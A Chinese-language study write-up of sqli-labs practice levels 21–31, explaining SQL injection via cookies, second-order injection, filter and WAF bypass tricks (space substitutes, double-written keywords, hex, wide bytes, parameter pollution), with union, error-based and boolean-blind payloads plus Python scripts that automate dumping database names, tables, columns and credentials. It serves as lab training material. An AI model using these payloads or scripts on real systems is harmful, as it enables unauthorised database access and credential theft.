重点插入:html表
第二十一题
分析过程:(没有正确的账号密码是否能拿到Cookie?最后注释好像只能使用#,--+好像无法注释)
查看源码
这里输入账号密码处被过滤了
但Cookie被base64编码了
可以从Cookie入手
输入正确的账号密码,可以发现Cookie出,uname进行了base64编码
所以我们注入语句也要采用base64编码
用bp抓包,拿到Cookie值,
添加单引号的转义符,位数不够用空格补全
根据报错信息判断为单引号带括号注入
之后将报错盲注转换为base64格式即可
报错盲注:
第二十二题
分析过程看第二十一题
Cookie的base64编码
admin"进行base64编码
判断为双引号注入
第二十三题
get注入,报错显示未单引号注入
进行SQL注入会发现输入的内容全报错,可能是注释被过滤了,查看源码
学习:注释被过滤如何闭合
可以使用单引号闭合:
?id=1' or '1'='1
闭合后:?id=1' or '1'='1'
联合注入语句: ?id=1' union select 1,2,3 or '1'='1
判断列数时用order by好像没什么效果,可以用select 1,2,3 逐个判断列数
联合查询详解请看第一题
第二十四题
我的疑问:二次注入如何环境搭建获取数据库信息
二次注入
参考博文(非常详细):http://t.csdnimg.cn/BgbRO
http://t.csdnimg.cn/UIPQe
一个登录页面,可以注册账号,也可以找回密码
登录成功后可以修改密码
点击忘记密码:提示字符(如果你忘记密码,请破解它)
查看源码,账号密码被转义,无法注入
注册账号界面,注册admin'#,注册成功
'被转义,但是存放到了数据库中
二次注入就是放到数据库数据被过滤,但是从数据库再把信息拿出来则不会被过滤
登录后修改密码
这时候注入则不会被过滤,输入admin'#的原理就是#号后面的内容被注释了,‘与前面的’ 闭合了,就直接上传admin了
第二十五题
更正:本题为双写绕过,所有的and和or都会被替换为空,但只替换一次,可以采用双写绕过,如order by 改为 ororder by
提示:
根据报错信息,判断为单引号注入
输入and or均被过滤
查看源码
之后的注入可以使用联合查询
第二十六题
第二十六关将逻辑运算符,注释符以及空格过滤
单引号注入
第二十六a题
绕过技巧:
1.空格绕过
%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格,
学习文章:http://t.csdnimg.cn/vn0ti
SQL注入绕过技巧 - 奔跑的snail - 博客园 (cnblogs.com)
http://t.csdnimg.cn/hx8hc
空格绕过的方法:
1. 注释绕过空格。
在MySQL中,用/*注释*/
来标记注释的内容。比如SQL查询:
select user() from dual
我们用注释替换空格,就可以变成:
select/**/user()/**/from/**/dual
2. 括号绕过空格
空格被过滤,但括号没有被过滤,可通过括号绕过。
我的经验是,在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
括号绕过空格的方法,在time based盲注中,是屡试不爽的。
举例说明,我们有这样的一条SQL查询:
select user() from dual where 1=1 and 2=2
如何把空格减到最少?
观察到user()可以算值,那么user()两边要加括号,变成:
select(user())from dual where 1=1 and 2=2;
继续,1=1和2=2可以算值,也加括号,去空格,变成:
select(user())from dual where(1=1)and(2=2)
dual两边的空格,通常是由程序员自己添加,我们一般无法控制。所以上面就是空格最少的结果。
空格绕过总结
如果空格被过滤,可以使用其他字符或编码来代替空格,如注释、制表符等
/**/
()
回车(url编码中的%a0)
`(tap键上面的按钮)
tap
两个空格
2引号、逗号、比较、注释、大小写符号绕过
3编码绕过
URL全编码
对关键字进行两次url全编码:
1+and+1=2
1+%25%36%31%25%36%65%25%36%34+1=2
4.十六进制绕过
使用十六进制值来表示字符串,可以绕过对普通字符串的过滤。
使用0x414243代替字符串'ABC'。
5.大于小于号绕过
在进行sql盲注的时候一般使用大于小于号来判断ascii的大小
greatest(n1,n2,n3…)和least(n1,n2,n3…)返回最大值和最小值
...where id=1 and greatest(ascii(substr(database(),1,1)),1)=99;
in关键字
where id=1 and substr(database(),1,1) in ('c');
between a and b(不包含b)
where id=1 and substr(database(),1,1) between 'a' and 'd';
6. 等号绕过
如果等号=被过滤,可以尝试使用其他的操作符或逻辑来达成类似的效果。
1.假如要=1,那我们可以>0 and
2.<>等价于!=,所以在前面再加一个!,Select * from cms_users where !(username <> "admin");
3.like, username = 'admin'
4.username LIKE 'a%'。这将匹配任何以'a'开头的用户名
5.MySQL中使用 REGEXP 操作符来进行正则表达式匹配,Select * from cms_users where username REGEXP "admin";
7. 单引号绕过
1.where table_name="users" 换成 where table_name=0x7573657273
2.宽字节,用%df吃掉\,id=-1%df%27union select 1,user(),3--+
3.可能产生二次注入
8.逗号绕过
我们可能会使用substr(),substring(),mid()等函数,里面会有逗号
- 对于substr()和mid()这两个方法可以使用from for 的方式来解决
select substr(database() from 1 for 1)='c';
join关键字
union select 1,2,3,4;
union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);
like关键字
select ascii(mid(user(),1,1))=80
select user() like 'r%'
9.关键字绕过
1.sleep() -->benchmark() 指定次数表达式,造成延迟
2.使用 HEX('A') 或 BIN('A') 替代 ASCII('A')。
3.SELECT group_concat('str1','str2');->SELECT concat_ws(',', 'str1', 'str2');
4.使用SELECT @@user; 替代SELECT user();
5.ord()->ascii()
6.SELECT IF(substr(database(),1,1)='c',1,0);->SELECT IFNULL(substr(database(),1,1)='c',0); 或 SELECT CASE substr(database(),1,1)='c' WHEN 1 THEN 1 ELSE 0 END;
解题思路:(学习:http://t.csdnimg.cn/SQskL)
本题将空格,逻辑运算符,注释给过滤,且注入成功页面没有回显点
可采用报错注入
空格可以用/**/或者%a0绕过
逻辑运算符and和or:&&和||绕过或者双写绕过
注释可以用引号闭合绕过
?id=1,?id=2,页面显示的用户信息不同,说明页面会动态回显数据库查询到的信息,可以考虑联合注入。
?id=1,页面正常显示;?id=0,页面异常(空)显示;说明正确的参数和错误的参数分别对应两种不同的响应结果,可以考虑布尔盲注。
方法一.联合注入(备注:我使用%a0空格无法成功,使用%09成功)
1.判断注入点:
地址栏输入:?id=1') anandd ('1 页面显示正常
地址栏输入:?id=1') anandd ('0 页面显示错误
判断为单引号+括号的注入点
2.判断显示位
地址栏输入:?id=0')union%a0select%a01,2,3%a0anandd('1
3.脱库
以当前使用的数据库为例,地址栏输入:
?id=0')union%a0select%a01,
(database())
,3%a0anandd('
其余脱库操作时,将下面圈中的部分替换成SQL语句即可:
常用的脱库语句如下:
4.获取所有数据库
select group_concat(schema_name)
from information_schema.schemata
5.获取 security 库的所有表
select group_concat(table_name)
from information_schema.tables
where table_schema="security"
6.获取 users 表的所有字段
select group_concat(column_name)
from information_schema.columns
where table_schema="security" and table_name="users"
7.获取数据库管理员用户密码
select%a0group_concat(user,passwoorrd)
from%a0mysql.user%a0where%a0user = "mituan"
方法二:布尔盲注(我使用%a0空格无法成功,使用%09成功)
1.判断注入点:
地址栏输入:?id=1') anandd ('1 页面显示正常
地址栏输入:?id=1') anandd ('0 页面显示错误
判断为单引号+括号的注入点
2.判断长度
以当前使用的数据库为例,假设库名的长度大于1,地址栏输入:
?id=1')%a0anandd%a0
length(
(database())
)>1
%a0anandd('1
库名肯定大于1,所以页面正常显示,确定payload可用;
从1开始递增测试长度,稍后使用脚本测试。
3.枚举字符
截取库名的第一个字符,转换成ASCLL码,判断是否大于1,地址栏输入:
?id=1')%a0anandd%a0
ascii(
substr(
(database())
,1,1)
)>1
%a0anandd('1
字符的ASCLL码肯定大于1,所以页面正常显示,确定payload可用;
依次判断字符的ASCLL码是否等于(32~126);
枚举出第一个字符后,按照此方法枚举其他字符,为提高效率,稍后使用脚本枚举。
4.脱库
Python自动化猜解脚本如下,可按需修改:
import requests
# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload
# 目标网址(不带参数)
url = "http://2caf52448445428bb6107f7e6c0b67f4.app.mituan.zone/Less-26a/"
# 猜解长度使用的payload
payload_len = """?id=1')%a0anandd%a0
length(
(database())
)={n}
%a0anandd('1"""
# 枚举字符使用的payload
payload_str = """?id=1')%a0anandd%a0
ascii(
substr(
(database())
,{l},1)
)={n}
%a0anandd('1"""
# 获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
response = requests.get(url= url+payload_len.format(n= length))
# 页面中出现此内容则表示成功
if 'Your Login name' in response.text:
print('测试长度完成,长度为:', length,)
return length;
else:
print('正在测试长度:',length)
length += 1 # 测试长度递增
# 获取字符
def getStr(url, payload, length):
str = '' # 初始表名/库名为空
# 第一层循环,截取每一个字符
for l in range(1, length+1):
# 第二层循环,枚举截取字符的每一种可能性
for n in range(33, 126):
response = requests.get(url= url+payload_str.format(l= l, n= n))
# print('我正在猜解', n)
# 页面中出现此内容则表示成功
if 'Your Login name' in response.text:
str+= chr(n)
print('第', l, '个字符猜解成功:', str)
break;
return str;
# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)
第二十七题
绕过方法:
查看源码
关键字union和select被过滤,注释以及空格被过滤
空格绕过:因为环境不同,可能教程中 %a0 成功,但经过我对%a0 的十六进制值a0查询,发现它属于扩展ASCII码,而对于扩展ASCII码中的字符,如果不兼容它的字符集就会出现乱码情况,所以要多尝试多总结%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格,
关键字绕过:双写绕过,大小写绕过
注释绕过:通过闭合后面的引号来进行绕过
解题思路:
联合查询:
根据报错提示判断为单引号注入
?id=1'%09 UNion%09selSelectect %09 1,2,3%09 and%09'1 猜解列名数量
?id=0'%09 UNion%09selSelectect %09 1,2,3%09 and%09'1 判断回显点
?id=0'%09 UNion%09selSelectect%091,(selSelectect%09table_name%09from%09information_schema.tables%09where%09table_schema=database()%09limit%091,1),3%09and%09'1
爆表,爆列,爆账号密码修改括号内SQL语句即可
布尔盲注:
?id=1' and%09'1,页面正常显示;?id=1' and%09'0,页面异常(空)显示;说明正确的参数和错误的参数分别对应两种不同的响应结果,可以考虑布尔盲注。
1.判断注入点
2.判断库长
?id=1' and%09length(database())=7%09and%09'1
3.枚举字符(学习大佬python脚本)
Python自动化猜解脚本如下,可按需修改:
import requests
# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload
# 目标网址(不带参数)
url = "http://8ad7ef14ce564257803e9f3eabade873.app.mituan.zone/Less-27/"
# 猜解长度使用的payload
payload_len = """?id=1'and%a0
length(
(database())
)={n}
%a0and'1"""
# 枚举字符使用的payload
payload_str = """?id=1'and%a0
ascii(
substr(
(database())
,{l},1)
)={n}
%a0and'1"""
# 获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
response = requests.get(url= url+payload_len.format(n= length))
# 页面中出现此内容则表示成功
if 'Your Login name' in response.text:
print('测试长度完成,长度为:', length,)
return length;
else:
print('正在测试长度:',length)
length += 1 # 测试长度递增
# 获取字符
def getStr(url, payload, length):
str = '' # 初始表名/库名为空
# 第一层循环,截取每一个字符
for l in range(1, length+1):
# 第二层循环,枚举截取字符的每一种可能性
for n in range(33, 126):
response = requests.get(url= url+payload_str.format(l= l, n= n))
# print('我正在猜解', n)
# 页面中出现此内容则表示成功
if 'Your Login name' in response.text:
str+= chr(n)
print('第', l, '个字符猜解成功:', str)
break;
return str;
# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)
其余脱库操作时,将下面圈中的位置替换成SQL语句即可(但我没成功):
python盲注自动化脚本2(不实用,不建议)
#盲注主函数
#盲注主函数
def StartSqli(url):
GetDBName(url)
print("[+]当前数据库名:{0}".format(DBName))
GetDBTables(url,DBName)
print("[+] 数据库 {0} 的表如下:".format(DBName))
for item in range(len(DBTables)):
print("(" + str(item + 1 ) + ")" + DBTables[item])
tableIndex = int(input("[*] 请输入要查看的表的序号 :")) - 1
GetDBColumns(url,DBName,DBTables[tableIndex])
while True:
print("[+] 数据表 {0} 的字段如下:".format(DBTables[tableIndex]))
for item in range(len(DBColumns)):
print("(" + str(item + 1) + ")" + DBColumns[item])
columnIndex = int(input("[*] 请输入 要查看的字段的序号(输入0退出):")) - 1
if(columnIndex == -1):
break
else:
GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])
#获取数据库名函数
#获取数据库名函数
def GetDBName(url):
#引用全局变量DBName
global DBName
print("[-] 开始获取数据库的长度")
#保存数据库长度的变量
DBNameLen = 0
#用于检查数据库长度的payload
payload = "' and if(length(database())={0},1,0) %23 "
#把url和payload进行拼接,得到最终请求url
targetUrl = url + payload
print(targetUrl)
#用for循环遍历请求,得到数据库名的长度
for DBNameLen in range(1,99):
#对payload的中的参数进行赋值猜解
res = conn.get(targetUrl.format(DBNameLen))
#判断flag是否在返回的页面中
if flag in res.content.decode("utf-8"):
print('进来了吗')
print("[+] 数据库名的长度:"+ str(DBNameLen))
break
print("[-] 开始获取数据库名")
#获取数据库名的payload
payload = "' and if(ascii(substr(database(),{0},1))={1},1,0) %23"
targetUrl = url + payload
#a表示substr()函数的截取位置
for a in range(1,DBNameLen+1):
#b表示在ascii码中33~126 位可显示的字符
for b in range(33,127):
res = conn.get(targetUrl.format(a,b))
if flag in res.content.decode("utf-8"):
DBName += chr(b)
print("[-]" + DBName)
break
#获取数据库表函数
#获取数据库表函数
def GetDBTables(url, dbname):
global DBTables
#存放数据库表数量的变量
DBTableCount = 0
print("[-] 开始获取 {0} 数据库表数量:".format(dbname))
#获取数据库表数量的payload
payload = "' and if((select count(*)table_name from information_schema.tables where table_schema='{0}')={1},1,0) %23"
targetUrl = url + payload
#开始遍历获取数据库表的数量
for DBTableCount in range(1,99):
res = conn.get(targetUrl.format(dbname,DBTableCount))
if flag in res.content.decode("utf-8"):
print("[+]{0}数据库中表的数量为:{1}".format(dbname,DBTableCount))
break
print("[-]开始获取{0}数据库的表".format(dbname))
#遍历表名时临时存放表名长度的变量
tableLen = 0
#a表示当前正在获取表的索引
for a in range(0,DBTableCount):
print("[-]正在获取第{0}个表名".format(a+1))
#先获取当前表名的长度
for tableLen in range(1,99):
payload = "' and if((select LENGTH(table_name) from information_schema.tables where table_schema='{0}' limit {1},1)={2},1,0) %23"
targetUrl = url + payload
res = conn.get(targetUrl.format(dbname,a,tableLen))
if flag in res.content.decode("utf-8"):
break
#开始获取表名
#临时存放当前表名的变量
table = ""
#b表示当前表名猜解的位置(substr)
for b in range(1,tableLen+1):
payload = "' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{0}' limit {1},1),{2},1))={3},1,0) %23"
targetUrl = url + payload
# c 表示在ascii码中33~126位可显示字符
for c in range(33,127):
res = conn.get(targetUrl.format(dbname,a,b,c))
if flag in res.content.decode("utf-8"):
table +=chr(c)
print(table)
break
#把获取到的表名加入DBTables
DBTables.append(table)
#清空table,用来继续获取下一个表名
table = ""
#获取数据库表字段的函数
#获取数据库表字段的函数
def GetDBColumns(url,dbname,dbtable):
global DBColumns
#存放字段数量的变量
DBColumnCount = 0
print("[-] 开始获取{0}数据表的字段数:".format(dbtable))
for DBColumnCount in range(99):
payload = "' and if((select count(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}')={2},1,0) %23"
targetUrl = url + payload
res = conn.get(targetUrl.format(dbname,dbtable,DBColumnCount))
if flag in res.content.decode("utf-8"):
print("[-]{0} 数据表的字段数为:{1}".format(dbtable,DBColumnCount))
break
#开始获取字段的名称
#保存字段名的临时变量
column = ""
# a 表示当前获取字段的索引
for a in range(0,DBColumnCount):
print("[-]正在获取第{0} 个字段名".format(a+1))
#先获取字段的长度
for columnLen in range(99):
payload = "' and if((select length(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1)={3},1,0) %23"
targetUrl = url + payload
res = conn.get(targetUrl.format(dbname,dbtable,a,columnLen))
if flag in res.content.decode("utf-8"):
break
#b表示当前字段名猜解的位置
for b in range(1,columnLen+1):
payload = "' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1),{3},1))={4},1,0) %23"
targetUrl = url + payload
#c 表示在ascii表的33~126位可显示字符
for c in range(33,127):
res = conn.get(targetUrl.format(dbname,dbtable,a,b,c))
if flag in res.content.decode("utf-8"):
column += chr(c)
print(column)
break
#把获取到的字段加入DBCloumns
DBColumns.append(column)
#清空column,用来继续获取下一个字段名
column = ""
#获取表字段的函数
#获取表字段的函数
def GetDBData(url,dbtable,dbcolumn):
global DBData
#先获取字段的数据数量
DBDataCount = 0
print("[-]开始获取 {0} 表 {1} 字段的数据数量".format(dbtable,dbcolumn))
for DBDataCount in range(99):
payload = "' and if((select count({0}) from {1})={2},1,0) %23"
targetUrl = url + payload
res = conn.get(targetUrl.format(dbcolumn,dbtable,DBDataCount))
if flag in res.content.decode("utf-8"):
print("[-]{0}表{1}字段的数据数量为:{2}".format(dbtable,dbcolumn,DBDataCount))
break
for a in range(0,DBDataCount):
print("[-] 正在获取{0} 的 第{1} 个数据".format(dbcolumn,a+1))
#先获取这个数据的长度
dataLen = 0
for dataLen in range(99):
payload = "' and if((select length({0}) from {1} limit {2},1)={3},1,0) %23"
targetUrl = url + payload
res = conn.get(targetUrl.format(dbcolumn,dbtable,a,dataLen))
if flag in res.content.decode("utf-8"):
print("[-]第{0}个数据长度为:{1}".format(a+1,dataLen))
break
#临时存放数据内容变量
data = ""
#开始获取数据具体内容
#b表示当前数据内容的猜解的位置
for b in range(1,dataLen+1):
for c in range(33,127):
payload = "' and if (ascii(substr((select {0} from {1} limit {2},1),{3},1))={4},1,0) %23"
targetUrl = url + payload
res = conn.get(targetUrl.format(dbcolumn,dbtable,a,b,c))
if flag in res.content.decode("utf-8"):
data +=chr(c)
print(data)
break
#放到以字段名为健,值为列表的字典中
DBData.setdefault(dbcolumn,[]).append(data)
print(DBData)
#把data清空,继续获取下一个数据
data = ""
#最后,编写主函数,传入URL
#入口,主函数
if __name__ == '__main__':
parser = optparse.OptionParser('usage: python %prog -u url \n\n' 'Example: python %prog -u http://127.0.0.1/sql/Less-8/?id=1\n')
#目标URL参数 -u
parser.add_option('-u','--url',dest='targetURL',default='http://127.0.0.1/sql/Less-8/?id=1',type='string',help='target URL')
(options,args) = parser.parse_args()
StartSqli(options.targetURL)
报错注入:
1.判断注入点 ?id=1'
2.报错注入
爆表 ?id=m1'and%09updatexml(1,concat(0x7e,(selSelectect%09table_name%09from%09information_schema.tables%09where%09table_schema=database()%09limit%091,1)),1)%09and%09'1
其他操作替换concat中内容即可
延时盲注:
使用if()和sleep()
参考第九题
第二十七a题
为双引号注入且页面不显示报错信息。
过滤规则和二十七关一样。
可以使用联合注入,布尔盲注,时间盲注
思路和第27题一样
第二十八题
过滤了注释,关键字,空格。\s表示空格,+表示匹配一次或多次,/i表示不区分大小写,
双写、大小写绕过,与前面思路相同
第二十八a题
与前面的题相比,本题仅过滤关键字union和select
第二十九题(WAF绕过:29.30.31)
注入正常的参数,网页返回正常的信息。注入单引号闭合,网页被切换到 hacked.php,可以看到注入的参数被 WAF 防御了。WAF (Web 应用防护系统)是通过执行一系列针对 HTTP/HTTPS 的安全策略来专门为 Web 应用提供保护的一款产品。此处应该是对注入的参数进行了强效过滤,以此达到了 WAF 的作用。
服务器俩层架构
绕过方法:http参数污染:jsp/tomcat使用getgetParameter("id")获取到的是第一个值,php/apache使用$_GET["id"]获取的是第二个值。
我们注入两个同名的参数 id,第一个参数用于绕过 WAF,第二个参数用于注入。
如:?id=1&id=2
可以看到这种攻击成功绕过了 WAF,对第二个参数用单引号闭合并注释掉后面的内容。网页回显正常的参数,说明网页存在单引号闭合的字符型注入。
?id=1&id=2'--+
之后使用第二个参数进行联合注入
?id=1&id=-1' UNION SELECT 1,database(),3 --+
第三十题
和第二十九题思路相同,双引号注入
第三十一题
和第二十九题思路相同,双引号带括号注入